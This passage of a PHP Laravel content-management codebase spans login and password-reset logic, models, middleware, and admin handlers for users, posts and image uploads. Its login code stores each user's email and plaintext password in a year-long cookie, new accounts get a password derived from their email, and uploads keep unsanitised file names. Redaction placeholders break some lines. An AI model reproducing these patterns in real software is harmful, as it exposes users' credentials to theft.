$andConditions["post_type"] = $post_type;
}
$data = postModel::where($andConditions)
->get();
foreach ($data as $key => $val) {
$postDetail1 = postModel::find($val->id)->getPostMeta;
$postData = array();
foreach ($postDetail1 as $key1 => $val1) {
$postData[$val1['post_key']] = array("value" => $val1['post_value'], 'postmeta_type' => $val1['postmeta_type']);
}
$userDetail = postModel::find($val->id)->UserInfo;
$data[$key]->userDetail = $userDetail;
if (isset($val->updated_by) && !empty($val->updated_by)) {
$updateByUserDetail = postModel::find($val->updated_by)->UserInfo;
$data[$key]->updateByUserDetail = $updateByUserDetail;
}
$data[$key]->postDetail = $postData;
}
return $data;
}
/* * *
* Get User List
*/
public function getUserList() {
// $andConditions = array("status" => "active");
$andConditions = array();
$data = User::where($andConditions)->where("usertype", '!=', 'superadmin')->get();
return $data;
}
/* * *
* Get Post List
*/
public function getPostList() {
$limit = 0;
$data = postModel::where("post_type", '!=', "page")
->when($limit, function ($query) use ($limit) {
if ($limit > 0) {
return $query->limit($limit);
}
})
->get();
/* * *
* user info
*/
foreach ($data as $key => $val) {
$userDetail = postModel::find($val->id)->UserInfo;
$data[$key]->userDetail = $userDetail;
if (isset($val->updated_by) && !empty($val->updated_by)) {
$updateByUserDetail = postModel::find($val->updated_by)->UserInfo;
$data[$key]->updateByUserDetail = $updateByUserDetail;
}
}
return $data;
}
/* * *
* Get User List
*/
public function getUserParticularTypeUsers($type) {
$andConditions = array("status" => "active");
$data = User::where($andConditions)->where("usertype", $type)->get();
return $data;
}
/* * **
* Function to get user info based on fields
* EX. array("id"=>'value');
*
*/
public function getUserDetailBySlug($slug) {
$andConditions = array("user_slug" => $slug);
$data = User::where($andConditions)->get();
return $data;
}
/* * *
* Function to update the post using post slug
*/
public function upatePostData($slug, $data) {
$result = DB::table('tbl_posts')
->where('post_slug', $slug)
->update($data);
if ($result) {
return "success";
} else {
return "failed";
}
}
/* * *
* Update Post Meta data
*
*/
public function updatePostMetaData($postId, $data) {
foreach ($data as $key => $val) {
$postArray = array("post_id" => $postId, "post_key" => $key, "post_value" => $val, "updated_at" => date("Y-m-d H:i:s"));
DB::table('tbl_postmeta')->where('post_key', $key)->where('post_id', $postId)->update($postArray);
}
return "success";
}
/* * *
* Update User related things
*/
public function updateUserInfo($userId, $data) {
DB::table('users')->where('id', $userId)->update($data);
return "success";
}
/* * *
* Update User related things
*/
public function deletePostData($postId) {
/* * **
* Delete post info
*/
$postData = postModel::find($postId);
$postData->delete();
/* * *
* Delete post meta info
*/
DB::table('tbl_postmeta')->where('post_id', $postId)->delete();
return "success";
}
/* * **
* Save Post
*/
public function savePost($postData) {
$postId = DB::table('tbl_posts')->insertGetId($postData);
return $postId;
}
/* * **
* To add post meta
*/
public function addPostMeta($postId, $data) {
$postArray = array("post_id" => $postId, "post_key" => $data["post_key"], "post_value" => $data["post_value"], "postmeta_type" => $data["postmeta_type"], "created_at" => date("Y-m-d H:i:s"));
$postMetaId = DB::table('tbl_postmeta')->insertGetId($postArray);
return $postMetaId;
}
/* * *
* Delete the post meta data
*/
public function deletePostMetaData($postId) {
DB::table('tbl_postmeta')->where('post_id', $postId)->delete();
return "success";
}
/* * **
* Delete Post
*/
public function UpdateSystemSettings($setting_id, $data) {
DB::table('tbl_system_setting')->where('id', $setting_id)->update($data);
return "success";
}
/* * **
* Function to check site is in maintaince mode or not
*/
public function checkSiteMode() {
$data = DB::table('tbl_system_setting')->where('key', "maintaince_mode")->get();
return $data;
}
/* * **
* Get Testimonial
*/
public function getClientTestimonial($limit = 0, $type = 'text') {
$data = clientTestimonial::where("status", 'active')->where("testimonial_type", $type)
->when($limit, function ($query) use ($limit) {
if ($limit > 0) {
return $query->limit($limit);
}
})
->get();
return $data;
}
/* * *
* Get Child Posts by parent
*/
public function getChildPostById($id, $limit = 0) {
$postData = postModel::where("parent_id", $id)
->when($limit, function ($query) use ($limit) {
if ($limit > 0) {
return $query->limit($limit);
}
})
->get();
return $postData;
}
/**
* Get Portfolio by category
*/
public function getPortfolioByCategoryId($categoryID) {
$portfolioData = portfolio::where("category_id", $categoryID)->get();
return $portfolioData;
}
/* * *
* Blog categories
*/
public function getBlogCategories() {
$BlogCategoriesData = BlogCategories::where("status", "Active")->get();
return $BlogCategoriesData;
}
/* * *
* Get Blog for home page
*/
public function getIndexBlogs() {
$data = DB::table('tbl_blog')
->leftJoin('users', 'users.id', '=', 'tbl_blog.postedBy')
->select('users.*', 'tbl_blog.*')
->where("tbl_blog.status", "Active")
->orderBy("tbl_blog.created_at", 'desc')->limit(10)->get();
return $data;
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class jobs extends Model {
protected $table = "tbl_job_opening";
/* * *
* Get Category Details
*/
public function getJobCategoryDetails() {
return $this->belongsTo('App\jobCategories', 'category_id', 'id');
}
}
<file_sep><?php
namespace App\Http\Controllers;
use App\User;
use App\PasswordReset;
use Mail;
use DB;
use Auth;
use Hash;
use View;
use Request;
use Crypt;
use Illuminate\Support\Facades\Input;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Redirect;
class LoginController extends Controller {
/**
* Show Login
*/
public function showLogin() {
if (Auth::check()) {
return Redirect::to('admin/dashboard');
} else {
return View::make('admin/login');
}
}
/* * *
* Do Login Info
*/
public function doLogin() {
$userdata = array(
'email' => Input::get('email'),
'password' => Input::get('password')
);
// validate the info, create rules for the inputs
$rules = array(
'email' => 'required|email',
'password' => '<PASSWORD>'
);
// run the validation rules on the inputs from the form
$validator = Validator::make(Input::all(), $rules);
// if the validator fails, redirect back to the form with errors
if ($validator->fails()) {
return Redirect::to('admin/login')->withErrors($validator)->withInput(Input::except('password'));
} else {
$userdata = array(
'email' => Input::get('email'),
// 'password' => <PASSWORD>(Input::get('password'))
'password' => Input::get('password')
);
$user = User::where('email', $userdata['email'])->where("status", "active")->first();
if (!empty($user)) {
//if login attempt successful
if (Auth::attempt($userdata)) {
$cookie_name = "deftsoft";
if (!isset($_COOKIE[$cookie_name])) {
$cookie_value = $userdata['email'] . '|' . $userdata['password'];
setcookie($cookie_name, $cookie_value, time() + (86400 * 365), "/"); // 86400 = 1 day
}
return Redirect::to('admin/dashboard'); //redirect to dashboard
} else {
$validator = "Username or password incorrect.";
// validation not successful, send back to form
return Redirect::to('admin/login')->withErrors($validator)->withInput(Input::except('password'));
}
} else {
$validator = "Username or password incorrect.";
return Redirect::to('admin/login')->withErrors($validator);
}
}
}
/**
* Change Password Page
*/
public function changePassword() {
if (Auth::check()) {
return View::make('admin/password');
} elseif (!empty(Input::get('ref')) && !empty(Input::get('key'))) {
$key = Input::get('key');
$ref = Input::get('ref');
return View::make('admin/password')->with('key', $key)->with('ref', $ref);
} else {
return Redirect::to('login');
}
}
/**
* Process Password Change Information
*/
public function updatePassword() {
if (Auth::check()) {
/**
* Validation Rules
* Passwords must match.
*
* @lines 134-144
*/
$rules = array(
'password' => '<PASSWORD>',
'confirm_password' => '<PASSWORD>'
);
$messages = array(
'required' => 'The :attribute is required.',
'same' => 'The :others must match.',
'min' => 'The :attribute must be at least 6 characters.'
);
$validator = Validator::make(Input::all(), $rules, $messages);
//grab password data
$userdata = array(
'password' => Input::get('password'),
'confirm_password' => Input::get('confirm_password')
);
if ($validator->fails()) {
$this->log_attempts('Password change attempt failed.', Auth::user()->id); //log into UserHistory Model
return Redirect::to('change-password')->withErrors($validator)->withInput(Input::except('password', 'confirm_password'));
} else {
$new_password = <PASSWORD>($userdata['confirm_password']); //hash new password
$update_password = User::where('email', Auth::user()->email)->update(['password' => $new_password]); //add hashed password to database
if ($update_password) {
$this->log_attempts('Password change attempt successful.', Auth::user()->id); //log into UserHistory Model
return Redirect::to('dashboard');
} else {
$this->log_attempts('Password change attempt failed.', Auth::user()->id); //log into UserHistory Model
return Redirect::to('change-password');
}
}
} else {
$rules = array(
'password' => '<PASSWORD>',
'confirm_password' => '<PASSWORD>'
);
$messages = array(
'required' => 'The :attribute is required.',
'same' => 'The :others must match.',
'min' => 'The :attribute must be at least 6 characters.'
);
$validator = Validator::make(Input::all(), $rules, $messages);
//grab password data
$userdata = array(
'password' => <PASSWORD>'),
'confirm_password' => <PASSWORD>('confirm_<PASSWORD>'),
'token' => Input::get('ref'),
'key' => Input::get('key'),
);
$resetRequest = DB::table('password_resets')->where('key', $userdata['key'])->where('token', $userdata['token'])->where('active', 1)->orderBy('created_at', 'DESC')->value('user_id');
if ($validator->fails()) {
return Redirect::to('password-reset')->withErrors($validator)->withInput(Input::except('password', 'confirm_password'));
} else {
$new_password = <PASSWORD>($userdata['confirm_password']); //hash new password
$user = User::find($resetRequest);
$update_password = $user->update(['password' => $new_password]); //add hashed password to database
if ($update_password) {
event(new \App\Events\SuccessfulPasswordReset($user));
//$this->log_attempts('Password change attempt successful.', $resetRequest); //log into UserHistory Model
return Redirect::to('dashboard');
} else {
$this->log_attempts('Password change attempt failed.', $resetRequest); //log into UserHistory Model
return Redirect::to('change-password');
}
}
}
}
/**
* Request Password Reset
*/
public function forgotPassword() {
$method = Request::method();
if (Request::isMethod('post')) {
// validate the info, create rules for the inputs
$rules = array(
'email' => 'required|exists:users'
);
$messages = array(
'email.exists' => 'Sorry, we could not find that account!',
);
// run the validation rules on the inputs from the form
$validator = Validator::make(Input::all(), $rules, $messages);
// if the validator fails, redirect back to the form with errors
if ($validator->fails()) {
return View::make('admin/forgotpass', ['errors' => $validator->errors()]);
} else {
$reset_pwdlink_token = <PASSWORD>();
// $password = <PASSWORD>($Manual<PASSWORD>);
$updated = ['reset_password_token' => $reset_pwdlink_token, 'reset_password_time' => date('Y-m-d H:i:s')];
DB::table('users')->where('email', $_POST['email'])->update($updated);
//send mail for setup his account for all types user
$resetLinkUrl = $_SERVER['HTTP_HOST'] . '/reset-password/' . $reset_pwdlink_token;
$user = DB::table('users')->where('email', $_POST['email'])->first();
$Data = array('reset_link' => $resetLinkUrl, 'userinfo' => $user);
$email = $_POST['email'];
Mail::send('emails.passwordreset', ['user' => $Data], function ($m) use ($email) {
$m->from('<EMAIL>', 'OnCall Management');
$m->to('<EMAIL>')->subject('Password Reset Request - OnCall Management Systems');
});
return View::make('admin/forgotpass', ['message' => 'You have successfully requested a password reset! Please Check Your Email!']);
}
} else {
return View::make('admin/forgotpass');
}
}
/**
* Log Information Into UserHistory Model
*
*/
public function online_status($user_id) {
$updated = ['online_status' => 1];
DB::table('users')->where('id', $user_id)->update($updated);
}
public function offline_status($user_id) {
$updated = ['online_status' => 0];
DB::table('users')->where('id', $user_id)->update($updated);
}
public function log_attempts($activity, $user_id) {
/**
* Grab Real IP - Skip proxy
*/
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
}
$ip = $_SERVER['REMOTE_ADDR'];
$log = new UserHistory; //initiate Model
$log->user_id = $user_id;
$log->activity = $activity;
$log->ip = $ip;
$log->browser = $_SERVER['HTTP_USER_AGENT'];
$log->referral = isset($_SERVER["HTTP_REFERER"]) && !empty($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
$log->save(); //save
}
/* * *
* Logout
*/
public function logout() {
Auth::logout();
return Redirect::to('admin/login');
}
}
<file_sep><?php
namespace App\Http\Middleware;
use Closure;
use DB;
class CheckMaintenanceModeEnable {
/**
* Handle an incoming request.
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
* @return mixed
*/
public function handle($request, Closure $next) {
$data = DB::table('tbl_system_setting')->where("key", "maintaince_mode")->get();
if ($data[0]->value == 0) {
return redirect('home');
}
return $next($request);
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class postMetaModel extends Model
{
protected $table = "tbl_postmeta";
/***
* Get Post Detail
*/
public function getPostDetail(){
return $this->belongsTo('App\postModel', 'id', 'id');
}
}
<file_sep><?php
namespace App;
use Illuminate\Foundation\Auth\User as Authenticatable;
class User extends Authenticatable {
/**
* The attributes that are mass assignable.
*
* @var array
*/
protected $casts = [
'is_admin' => 'boolean',
];
protected $fillable = [
'name', 'firstname', 'lastname', 'email', 'password', 'country', 'state', 'city', 'zipcode', 'address1', 'address2', 'profile_image', 'timezone', 'gender', 'usertype', 'remember_token', 'created_at'
];
/**
* The attributes that should be hidden for arrays.
*
* @var array
*/
protected $hidden = [
'password', 'remember_token',
];
public function isAdmin() {
return $this->admin; // this looks for an admin column in your users table
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class postModel extends Model
{
//
protected $table = "tbl_posts";
/***
* Get Post Detail
*/
public function getPostMeta(){
return $this->hasMany('App\postMetaModel', 'post_id', 'id');
}
/****
* Get post user information
*/
public function UserInfo(){
return $this->belongsTo('App\User','user_id','id');
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class systemSettingModel extends Model
{
protected $table = "tbl_system_setting";
}
<file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Http\Requests;
use App\postModel;
use App\User;
use App\clientTestimonial;
use App\Blog;
use App\contactUsModel;
use App\BlogCategories;
use App\portfolio;
use App\businessPartner;
use App\jobApplications;
use App\systemSettingModel;
use App\AccessControl;
use App\jobCategories;
use App\headerMenuModel;
use App\footerMenuModel;
use App\jobs;
use Illuminate\Support\Facades\Auth;
use App\Http\Controllers\Input;
use File;
use DB;
use Hash;
use Intervention\Image\Facades\Image;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Redirect;
use Session;
class AdminController extends parentController {
public function __construct() {
}
/* * **
* Redirect to login
*/
public function index() {
return view('admin.login');
}
/* * **
* Home page
*/
public function home() {
/* * *
* Get portfolio categories
* UserInfo
*/
$pages = count($this->getPosts("page", 0));
$adminRole = count($this->getUserParticularTypeUsers("admin"));
$otherRole = count($this->getUserParticularTypeUsers("others"));
/* * *
* get count info.
*/
$userCount = User::where("usertype", "!=", "superadmin")->count();
$postCount = postModel::where("post_type", "!=", "page")->count();
$blogs = Blog::all()->count();
$textTestimonial = $this->getClientTestimonial(0, 'text');
$videoTestimonial = $this->getClientTestimonial(0, 'video');
$videoTestimonial = $this->getClientTestimonial(0, 'video');
$jobApplications = jobApplications::where("status", "active")->count();
$contactUsRecords = contactUsModel::all()->count();
$dataCount = array(
"userCount" => $userCount,
"pages" => $pages,
"postCount" => $postCount,
"blogs" => $blogs,
"textTestimonial" => count($textTestimonial),
"videoTestimonial" => count($videoTestimonial),
"contactRecords" => $contactUsRecords,
"jobApplications" => $jobApplications,
);
$dataArray = array("pages" => $pages, "dataCount" => $dataCount, "adminRole" => $adminRole, "otherRole" => $otherRole);
return view('admin.home', ["dataArray" => $dataArray]);
}
/* * *
* manage pages
*/
public function managePages() {
/* * *
* Get portfolio categories
* UserInfo
*/
$managePagesData = $this->getPosts("page", 0, 'yes');
$dataArray = array("managePagesData" => $managePagesData);
return view('admin.manage-pages', ["dataArray" => $dataArray]);
}
/* * **
* Public function
*/
public function editPagesPostDetails($slug = '') {
$postDetails = $this->getPostDetailBySlug($slug);
$dataArray = array("postDetails" => $postDetails);
return view('admin.manage-pages-details', ["dataArray" => $dataArray]);
}
/* * **
* Public function
*/
public function editPostDetails($slug = '') {
$ServiceData = $this->getPosts("service");
$postDetails = $this->getPostDetailBySlug($slug);
$dataArray = array("postDetails" => $postDetails, "ServiceData" => $ServiceData);
return view('admin.manage-post-details', ["dataArray" => $dataArray]);
}
/* * *
* Manage Users
*/
public function manageUsers() {
$userList = $this->getUserList();
$dataArray = array("userList" => $userList);
return view('admin.manage-users', ["dataArray" => $dataArray]);
}
/* * *
* Manage Posts
*/
public function managePosts() {
$postList = $this->getPostList();
$dataArray = array("managePostData" => $postList);
return view('admin.manage-posts', ["dataArray" => $dataArray]);
}
/* * *
* Manage USer
*/
public function manageUserDetailBySlug(Request $request, $slug = '') {
$method = $request->method();
if ($request->isMethod('post')) {
$userId = $_POST["userId"];
/* * **
* Check image is updated or not
*/
$profie_image = '';
if (isset($_FILES["profie_image"]) && !empty($_FILES["profie_image"]["name"])) {
$image = $_FILES["profie_image"];
$filename1 = "150x150_" . time() . $_FILES["profie_image"]["name"];
$filename2 = "250x250_" . time() . $_FILES["profie_image"]["name"];
$filename3 = "640x640_" . time() . $_FILES["profie_image"]["name"];
$profie_image = time() . $_FILES["profie_image"]["name"];
$path1 = public_path('uploads/userProfile/' . $filename1);
$path2 = public_path('uploads/userProfile/' . $filename2);
$path3 = public_path('uploads/userProfile/' . $filename3);
Image::make($_FILES["profie_image"]["tmp_name"])->resize(150, 150)->save($path1);
Image::make($_FILES["profie_image"]["tmp_name"])->resize(250, 250)->save($path2);
Image::make($_FILES["profie_image"]["tmp_name"])->resize(640, 640)->save($path3);
} else if (isset($_POST["prev_profie_image"]) && !empty($_POST["prev_profie_image"])) {
$profie_image = $_POST["prev_profie_image"];
} else {
$profie_image = 'default-img.png';
}
$userData = User::find($userId);
$userData->firstname = $_POST["first_name"];
$userData->lastname = $_POST["last_name"];
$userData->country = $_POST["country"];
$userData->state = $_POST["state"];
$userData->city = $_POST["city"];
$userData->zipcode = $_POST["zipcode"];
$userData->address1 = $_POST["address1"];
$userData->address2 = $_POST["address2"];
$userData->timezone = $_POST["timezone"];
$userData->profie_image = $profie_image;
$userData->status = $_POST["status"];
$userData->gender = $_POST["gender"];
$userData->updated_at = date("Y-m-d H:i:s");
$userData->save();
Session::flash('message', "User update successfully saved");
return Redirect('admin/manage-user-detail/' . $_POST["userslug"]);
} else {
$userData = $this->getUserDetailBySlug($slug);
$dataArray = array("userData" => $userData);
return view('admin.manage-user-details', ["dataArray" => $dataArray]);
}
}
/* * *
* Add new user
*/
public function addNewUser(Request $request) {
$method = $request->method();
if ($request->isMethod('post')) {
/* * **
* Check image is updated or not
*/
$profie_image = '';
if (isset($_FILES["profie_image"]) && !empty($_FILES["profie_image"]["name"])) {
$image = $_FILES["profie_image"];
$filename1 = "150x150_" . time() . $_FILES["profie_image"]["name"];
$filename2 = "250x250_" . time() . $_FILES["profie_image"]["name"];
$filename3 = "640x640_" . time() . $_FILES["profie_image"]["name"];
$profie_image = time() . $_FILES["profie_image"]["name"];
$path1 = public_path('uploads/userProfile/' . $filename1);
$path2 = public_path('uploads/userProfile/' . $filename2);
$path3 = public_path('uploads/userProfile/' . $filename3);
Image::make($_FILES["profie_image"]["tmp_name"])->resize(150, 150)->save($path1);
Image::make($_FILES["profie_image"]["tmp_name"])->resize(250, 250)->save($path2);
Image::make($_FILES["profie_image"]["tmp_name"])->resize(640, 640)->save($path3);
} else if (isset($_POST["prev_profie_image"]) && !empty($_POST["prev_profie_image"])) {
$profie_image = $_POST["prev_profie_image"];
} else {
$profie_image = 'default-img.png';
}
/* * **
* Create User Slug
*/
$user_slug = $this->createUserSlug($_POST["first_name"], $_POST["last_name"]);
$userData = new User;
$userData->firstname = $_POST["first_name"];
$userData->lastname = $_POST["last_name"];
$userData->name = $_POST["first_name"] . " " . $_POST["last_name"];
$userData->email = $_POST["email"];
$userData->password = <PASSWORD>($_POST["email"]);
$userData->country = $_POST["country"];
$userData->state = $_POST["state"];
$userData->city = $_POST["city"];
$userData->zipcode = $_POST["zipcode"];
$userData->address1 = $_POST["address1"];
$userData->address2 = $_POST["address2"];
$userData->timezone = $_POST["timezone"];
$userData->profie_image = $profie_image;
$userData->status = $_POST["status"];
$userData->gender = $_POST["gender"];
$userData->user_slug = $user_slug;
$userData->usertype = $_POST["usertype"];
$userData->created_at = date("Y-m-d H:i:s");
$userData->save();
Session::flash('message', "User added successfully saved");
return Redirect('admin/manage-users');
} else {
return view('admin.add-new-user');
}
}
/* * **
* Check Email is Exists
*/
public function checkEmailExists() {
$email = $_POST["email"];
$count = $emailData = User::where("email", $email)->count();
if ($count > 0) {
return 'false';
} else {
return 'true';
}
}
/* * **
* Edit User Profile
*/
public function editUser() {
$user_slug = Auth::user()->user_slug;
$userData = $this->getUserDetailBySlug($user_slug);
$dataArray = array("userData" => $userData);
return view('admin.edit-profile', ["dataArray" => $dataArray]);
}
/* * *
* Function to create User Slug
*/
public function createUserSlug($firstname = 'test', $lastname = 'test') {
return $firstname . "-" . $lastname . "-" . time();
}
/* * *
* Function for Access Control
*/
public function accessControl() {
$userData = $this->getUserPermissions('');
$adminArray = array();
$userArray = array();
if (isset($userData["admin"]) && !empty($userData["admin"])) {
$adminArray = $userData["admin"];
}
if (isset($userData["users"]) && !empty($userData["users"])) {
$userArray = $userData["users"];
}
$dataArray = array("userData" => $userArray, "adminData" => $adminArray);
return view('admin.access-control', ["dataArray" => $dataArray]);
}
/* * **
* Function for access control
*/
public function accessManagement() {
$admin_array = array();
$user_array = array();
if (isset($_POST["blog_admin"]) && $_POST["blog_admin"] == 1) {
$admin_array[] = 'blog';
}
if (isset($_POST["page_admin"]) && $_POST["page_admin"] == 1) {
$admin_array[] = 'pages';
}
if (isset($_POST["user_admin"]) && $_POST["user_admin"] == 1) {
$admin_array[] = 'users';
}
if (isset($_POST["blog_other"]) && $_POST["blog_other"] == 1) {
$user_array[] = 'blog';
}
if (isset($_POST["page_other"]) && $_POST["page_other"] == 1) {
$user_array[] = 'pages';
}
if (isset($_POST["user_other"]) && $_POST["user_other"] == 1) {
$user_array[] = 'users';
}
/* * *
* update the user
*/
AccessControl::truncate();
$AccessControlAdminData = new AccessControl;
$AccessControlAdminData->user_type = 'admin';
$AccessControlAdminData->permissions = json_encode($admin_array);
$AccessControlAdminData->created_at = date("Y-m-d H:i:s");
$AccessControlAdminData->save();
$AccessControlUserData = new AccessControl;
$AccessControlUserData->user_type = 'others';
$AccessControlUserData->permissions = json_encode($user_array);
$AccessControlUserData->created_at = date("Y-m-d H:i:s");
$AccessControlUserData->save();
Session::flash('message', "Permissions saved successfully");
return Redirect('admin/access-control');
}
/* * *
* Get Permission records
*/
public function getUserPermissions() {
$data = AccessControl::all();
$user_data = array();
foreach ($data as $key => $val) {
if ($val->user_type == 'admin') {
$user_data["admin"] = json_decode($val->permissions);
} else {
$user_data["users"] = json_decode($val->permissions);
}
}
return $user_data;
}
/* * *
* Check user Authorties
*/
public function getPermissions($userRole = '') {
$data = AccessControl::where("user_type", $userRole)->get();
return json_decode($data->permissions);
}
/* * *
* Function to update the page type post detais
*/
public function managePagePostDetails() {
$banner_image = '';
$postId = $_POST["postId"];
if (isset($_FILES["post_bannerimg"]) && !empty($_FILES["post_bannerimg"]["name"])) {
$image = $_FILES["post_bannerimg"];
$filename1 = "1600x654_" . time() . $_FILES["post_bannerimg"]["name"];
$filename4 = "1600x548_" . time() . $_FILES["post_bannerimg"]["name"];
$filename2 = "250x250_" . time() . $_FILES["post_bannerimg"]["name"];
$filename3 = "640x640_" . time() . $_FILES["post_bannerimg"]["name"];
$banner_image = time() . $_FILES["post_bannerimg"]["name"];
$path1 = public_path('uploads/bannerImg/' . $filename1);
$path2 = public_path('uploads/bannerImg/' . $filename2);
$path3 = public_path('uploads/bannerImg/' . $filename3);
$path4 = public_path('uploads/bannerImg/' . $filename4);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(1600, 654)->save($path1);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(1600, 548)->save($path4);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(250, 250)->save($path2);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(640, 640)->save($path3);
} else if (isset($_POST["prev_feature_img"]) && !empty($_POST["prev_feature_img"])) {
$banner_image = $_POST["prev_feature_img"];
} else {
$banner_image = 'default-img.jpg';
}
$customSlug = isset($_POST["custom_url"]) && !empty($_POST["custom_url"]) ? $_POST["custom_url"] : '';
$data_array = array(
"title" => $_POST["post_title"],
"content" => trim($_POST["post_content"]),
"banner" => $banner_image,
"title1" => $_POST["post_title1"],
"title2" => $_POST["post_title2"],
"title3" => $_POST["post_title3"],
"tagline" => $_POST["post_tagline"],
"custom_slug" => $customSlug,
"short_description" => trim($_POST["post_short_desc"]),
"meta_title" => $_POST["post_meta_title"],
"meta_keywords" => $_POST["post_meta_keywords"],
"meta_description" => $_POST["post_meta_description"],
"long_description" => trim($_POST["post_long_description"]),
"updated_at" => date("Y-m-d H:i:s"),
"status" => $_POST["post_status"],
);
$slug = $_POST["slug"];
$result = $this->upatePostData($slug, $data_array);
/* * **
* Delete the existing post meta values
*/
$this->deletePostMetaData($postId);
// /* * **
// * Setup Post meta data
// */
if (isset($_POST["meta_key"]) && !empty($_POST["meta_key"])) {
foreach ($_POST["meta_key"] as $key => $val) {
$postMetaData = array(
"post_key" => $val,
"post_value" => $_POST["meta_val"][$key],
"postmeta_type" => 'text'
);
$this->addPostMeta($postId, $postMetaData);
}
}
if (isset($_POST["meta_file_key"]) && !empty($_POST["meta_file_key"])) {
foreach ($_POST["meta_file_key"] as $key => $val) {
if (isset($_FILES["meta_file_val"]["name"][$key]) && !empty($_FILES["meta_file_val"]["name"][$key])) {
$filename1 = "48x48_" . time() . $_FILES["meta_file_val"]["name"][$key];
$filename2 = "250x250_" . time() . $_FILES["meta_file_val"]["name"][$key];
$filename3 = "555x339_" . time() . $_FILES["meta_file_val"]["name"][$key];
$imageInfo = time() . $_FILES["meta_file_val"]["name"][$key];
$path1 = public_path('uploads/postmetaImg/' . $filename1);
$path2 = public_path('uploads/postmetaImg/' . $filename2);
$path3 = public_path('uploads/postmetaImg/' . $filename3);
Image::make($_FILES["meta_file_val"]["tmp_name"][$key])->resize(48, 48)->save($path1);
Image::make($_FILES["meta_file_val"]["tmp_name"][$key])->resize(250, 250)->save($path2);
Image::make($_FILES["meta_file_val"]["tmp_name"][$key])->resize(555, 339)->save($path3);
} else {
$imageInfo = $_POST["meta_file_prev_val_" . $val];
}
$postMetaData = array(
"post_key" => $val,
"post_value" => $imageInfo,
"postmeta_type" => 'image'
);
$this->addPostMeta($postId, $postMetaData);
}
}
Session::flash('message', "Data saved successfully");
return Redirect('admin/edit-page-posts/' . $slug);
}
/* * *
* Function to update the page type post detais
*/
public function managePostDetails() {
$banner_image = '';
$postId = $_POST["postId"];
if (isset($_FILES["post_bannerimg"]) && !empty($_FILES["post_bannerimg"]["name"])) {
$image = $_FILES["post_bannerimg"];
$filename1 = "1600x654_" . time() . $_FILES["post_bannerimg"]["name"];
$filename4 = "1600x548_" . time() . $_FILES["post_bannerimg"]["name"];
$filename2 = "250x250_" . time() . $_FILES["post_bannerimg"]["name"];
$filename3 = "640x640_" . time() . $_FILES["post_bannerimg"]["name"];
$banner_image = time() . $_FILES["post_bannerimg"]["name"];
$path1 = public_path('uploads/bannerImg/' . $filename1);
$path2 = public_path('uploads/bannerImg/' . $filename2);
$path3 = public_path('uploads/bannerImg/' . $filename3);
$path4 = public_path('uploads/bannerImg/' . $filename4);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(1600, 654)->save($path1);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(1600, 548)->save($path4);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(250, 250)->save($path2);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(640, 640)->save($path3);
} else if (isset($_POST["prev_feature_img"]) && !empty($_POST["prev_feature_img"])) {
$banner_image = $_POST["prev_feature_img"];
} else {
$banner_image = 'default-img.jpg';
}
$customSlug = isset($_POST["custom_url"]) && !empty($_POST["custom_url"]) ? $_POST["custom_url"] : '';
$data_array = array(
"title" => $_POST["post_title"],
"content" => trim($_POST["post_content"]),
"banner" => $banner_image,
"custom_slug" => $customSlug,
"post_type" => $_POST["post_category"],
"title1" => $_POST["post_title1"],
"title2" => $_POST["post_title2"],
"title3" => $_POST["post_title3"],
"tagline" => $_POST["post_tagline"],
"short_description" => trim($_POST["post_short_desc"]),
"meta_title" => $_POST["post_meta_title"],
"meta_keywords" => $_POST["post_meta_keywords"],
"meta_description" => $_POST["post_meta_description"],
"long_description" => trim($_POST["post_long_description"]),
"updated_at" => date("Y-m-d H:i:s"),
"status" => $_POST["post_status"],
);
if (!empty($_POST["parent_service"])) {
$data_array["parent_id"] = $_POST["parent_service"];
}
$slug = $_POST["slug"];
$result = $this->upatePostData($slug, $data_array);
/* * **
* Delete the existing post meta values
*/
$this->deletePostMetaData($postId);
// /* * **
// * Setup Post meta data
// */
if (isset($_POST["meta_key"]) && !empty($_POST["meta_key"])) {
foreach ($_POST["meta_key"] as $key => $val) {
$postMetaData = array(
"post_key" => $val,
"post_value" => $_POST["meta_val"][$key],
"postmeta_type" => 'text'
);
$this->addPostMeta($postId, $postMetaData);
}
}
if (isset($_POST["meta_file_key"]) && !empty($_POST["meta_file_key"])) {
foreach ($_POST["meta_file_key"] as $key => $val) {
if (isset($_FILES["meta_file_val"]["name"][$key]) && !empty($_FILES["meta_file_val"]["name"][$key])) {
$filename1 = "48x48_" . time() . $_FILES["meta_file_val"]["name"][$key];
$filename2 = "250x250_" . time() . $_FILES["meta_file_val"]["name"][$key];
$filename3 = "555x339_" . time() . $_FILES["meta_file_val"]["name"][$key];
$imageInfo = time() . $_FILES["meta_file_val"]["name"][$key];
$path1 = public_path('uploads/postmetaImg/' . $filename1);
$path2 = public_path('uploads/postmetaImg/' . $filename2);
$path3 = public_path('uploads/postmetaImg/' . $filename3);
Image::make($_FILES["meta_file_val"]["tmp_name"][$key])->resize(48, 48)->save($path1);
Image::make($_FILES["meta_file_val"]["tmp_name"][$key])->resize(250, 250)->save($path2);
Image::make($_FILES["meta_file_val"]["tmp_name"][$key])->resize(555, 339)->save($path3);
} else {
$imageInfo = $_POST["meta_file_prev_val_" . $val];
}
$postMetaData = array(
"post_key" => $val,
"post_value" => $imageInfo,
"postmeta_type" => 'image'
);
$this->addPostMeta($postId, $postMetaData);
}
}
Session::flash('message', "Data saved successfully");
return Redirect('admin/edit-posts/' . $slug);
}
